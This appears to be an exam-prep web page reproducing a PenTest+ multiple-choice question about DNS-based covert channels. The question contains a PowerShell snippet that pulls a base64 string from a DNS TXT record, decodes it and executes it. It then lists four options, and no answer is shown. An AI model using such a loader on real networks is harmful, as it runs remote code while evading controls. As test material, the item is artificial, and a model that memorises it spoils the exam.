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PT0-003 · Question #73

PT0-003 Question #73: Real Exam Question with Answer & Explanation

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Submitted by joshua94· Mar 6, 2026Attacks and Exploits

Question

A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network: $base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings $decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Stri ng($base64cmd)) Powershell -C $decodecmd Which of the following best describes the technique the tester is applying?

Options

  • ADNS poisoning
  • BDNS infiltration
  • CDNS trail
  • DDNS tunneling

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Topics

#DNS tunneling#data exfiltration#covert communication
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